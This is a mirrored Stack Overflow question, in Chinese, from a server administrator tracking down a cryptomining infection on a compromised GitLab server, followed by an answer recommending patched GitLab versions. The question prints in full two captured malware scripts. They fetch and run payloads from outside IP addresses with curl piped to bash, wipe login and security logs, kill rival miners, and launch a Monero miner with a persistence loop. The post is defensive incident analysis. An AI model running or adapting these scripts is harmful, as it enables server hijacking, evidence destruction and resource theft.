security - 如何跟踪 ubuntu 服务器上的恶意软件来源并阻止它

标签 security server malware system-administration virus

我有一个带有自托管 giltab-ce 的 ubuntu 服务器,两天前我的服务器开始使用 400% CPU。 我的托管提供商建议我更新我的 Gitlab(版本 13.6.1),我将其更新到 13.9。 尽管如此,还是会定期出现一些进程开始运行并使用超过所有 CPU 的资源。

一开始,我认为这就是问题所在(因为托管提供商将此链接附加到电子邮件中):https://hackerone.com/reports/1154542

然后我看到进程名称是kdevtmpfsi并遵循了这个问题的所有答案:kdevtmpfsi using the entire CPU

仍然没有任何帮助,脚本会在几个小时后定期一遍又一遍地启动。

/tmp/.ssh 文件夹中,我发现了一个包含以下内容的 redis.sh 脚本:

while true
do
    killall -q -9 kdevtmpfsi
    killall -q -9 kinsing
    killall -q -9 xmrig
    killall -q -9 xmr
    killall -q -9 qwer
    pkill -9 kthreaddk
    pkill -9 kwolker
    pkill -9 mini
    pkill -9 kacpi_notifyd
    pkill -9 vim
    pkill -9 mym
    pkill -9 network
    pkill -9 .libs
    pkill -9 javase
    pkill -9 libexec
    rm -rf /usr/lib/vmware-vsphere-ui/server/postgres
    rm -rf /usr/lib/vmware-vsphere-ui/server/postgres_start.sh
    rm -rf /usr/lib/vmware-vsphere-ui/server/kvm.sh
    rm -rf /usr/lib/vmware-vsphere-ui/server/elastic.sh
    rm -rf $HOME/postgres
    rm -rf $HOME/kvm.sh
    rm -rf $HOME/elastic.sh
    ps aux | grep -v grep | grep 'javaupDates' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'givemexyz' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'dbused' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'cpu-force-autoconfig' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'kvm.sh' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'elastic.sh' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'wget' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'curl' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'urlopen' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep '/var/tmp/.postgres/' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'postgres_start.sh' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'xmrig' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'xmr' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'kthreaddk' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'kthreaddi' | awk '{print $2}' | xargs -i kill -9 {}
    PROC_NAME=/tmp/system
    ProcNumber=`ps -ef |grep -w $PROC_NAME|grep -v grep|wc -l`
    if [ $ProcNumber -le 0 ];then
        if hash curl 2>/dev/null;then
            curl http://135.125.217.87/stl.sh | bash >/dev/null 2>&1 &
        else
            python -c "import requests;url='http://165.227.239.108/stl.sh';tmp=requests.get(url);open('./static.sh','wb').write(tmp.content)"
            bash ./static.sh >/dev/null 2>&1 &
        fi
        break
    fi
done

我删除了该文件,创建了一个空白文件并只授予了读取权限。

调用此进程的用户是git。我停止了 gitlab 并删除了 git 用户。

您能告诉我下一步该怎么做吗?我想了解的是创建这些文件和 cronjobs 的过程。

我正在尝试一切,但几个小时后问题又出现了。下次返回时我应该注意什么?

编辑:我发现了另一个文件,我认为该文件正在下载我粘贴在上面的文件。

dan@dan:~/$ cat stl.sh
rm -rf /var/tmp/*
rm -rf /tmp/*
killall -q -9 /var/tmp/.postgres/*
ps aux | grep -v grep | grep 'runnerbus' | awk '{print $2}' | xargs -i kill -9 {}
rm -rf /var/tmp/.postgres
rm -rf /tmp/.*
rm -rf /var/tmp/.*
rm -rf /etc/cron.hourly/oanacroner
rm -rf /etc/cron.hourly/oanacrona
rm -rf /etc/cron.daily/oanacroner
rm -rf /etc/cron.daily/oanacrona
rm -rf /etc/cron.monthly/oanacroner
rm -rf xmrig-6.13.1/
rm -rf xmrig-6.13.1-linux-x64.tar.gz
rm -rf $HOME/moneroocean/
rm -rf /var/tmp/moneroocean/
rm -rf /root/moneroocean/
rm -rf $HOME/c3pool/
rm -rf /tmp/.tmp/xlog
rm -rf /var/tmp/.postgres
rm -rf /tmp/kwolker
rm -rf /tmp/kdevtmpfsi
rm -rf /tmp/kinsing
rm -rf /tmp/libexec
rm -rf /tmp/mym
rm -rf /usr/bin/kinsing*
rm -rf /etc/cron.d/kinsing*
ps aux | grep -v grep | grep 'postgres_start.sh' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep '/var/tmp/.postgres_start/postgres_start.sh' | awk '{print $2}' | xargs -i kill -9 {}
killall -q -9 workrun.sh
killall -q -9 /tmp/kwolker
killall -q -9 /tmp/mym
killall -q -9 xmr
killall -q -9 kdevtmpfsi
killall -q -9 kinsing
killall -q -9 xmrig
killall -q -9 minerd
killall -q -9 minerd
killall -q -9 xig
killall -q -9 cpuminer
pkill -9 kworker
pkill -9 kwolker
pkill -9 mym
sleep 1
if hash curl 2>/dev/null;then
    echo "has curl 1"
    curl --progress-bar http://135.125.217.87/static.c -o /tmp/system
else
    echo "haven't curl 1"
    python -c "import requests;url='http://135.125.217.87/static.c';tmp=requests.get(url);open('./system','wb').write(tmp.content)"
fi
chmod +x /tmp/system
mkdir /tmp/.ssh
echo > /var/log/wtmp
echo > /var/log/lastlog
echo >   /var/log/utmp
cat /dev/null >  /var/log/secure
cat /dev/null >  /var/log/message
sed  -i '/107.191.63.34/'d  /var/log/messages
sed -i 's/107.191.63.34/127.0.0.1/g' secure
/tmp/system -o 207.38.87.6:3333 -p $HOSTNAME -k -B --cpu-priority 5 -l /tmp/.ssh/xlog --randomx-1gb-pages >/dev/null 2>&1
sleep 1
if hash curl 2>/dev/null;then
    echo "has curl 2"
    curl http://135.125.217.87/stlalive.sh -o /tmp/.ssh/redis.sh
else
    mkdir /tmp/.ssh
    echo "haven't curl 2"
    python -c "import requests;url='http://135.125.217.87/stlalive.sh';tmp=requests.get(url);open('/tmp/.ssh/redis.sh','wb').write(tmp.content)"
fi
sleep 1
chmod +x /tmp/.ssh/redis.sh
nohup /tmp/.ssh/redis.sh >/dev/null 2>&1 &
rm -rf ./run.sh

我删除了这个文件,创建了一个同名的新文件,仅可读。然后我停止了 git 的所有进程,再次删除了 git 用户。重构了gitlab。距离没有发生其他攻击已经过去 10 个小时了。

最佳答案

我们也遇到了这个问题,请先将您的 GitLab 更新到以下版本之一:

13.10.3
13.9.6
13.8.8

之后,清理与 git 用户连接的 crontab,并删除 /tmp 文件夹中 git 用户拥有的所有文件。

现在您可以重新启动服务器,应该没问题了:)

关于security - 如何跟踪 ubuntu 服务器上的恶意软件来源并阻止它,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/69832451/

相关文章:

security - 文件 URI 链接到 IE7 中的本地文件夹不起作用

javascript - 为什么这个 Javascript RegExp 测试不起作用?

javascript - Dreamweaver 不断将外部 CSS 文件与本地服务器上的本地 CSS 一起拉取

error-handling - 未处理的PromiseRejectionWarning : Error: You must `await server.start()` before calling `server.applyMiddleware()` at ApolloServer

javascript - 聪明的 JavaScript 绕过 eval 方法

apache - DoS 和暴力攻击有什么区别?

java - 如何通过分析URI来识别JAX-RS Controller ?

c++ - 使用 gtkmm3 的套接字服务器

由于 'WS.Reputation.1',Symantec Endpoint 删除了 VB6 IDE

delphi - 如何获取谷歌危险网站列表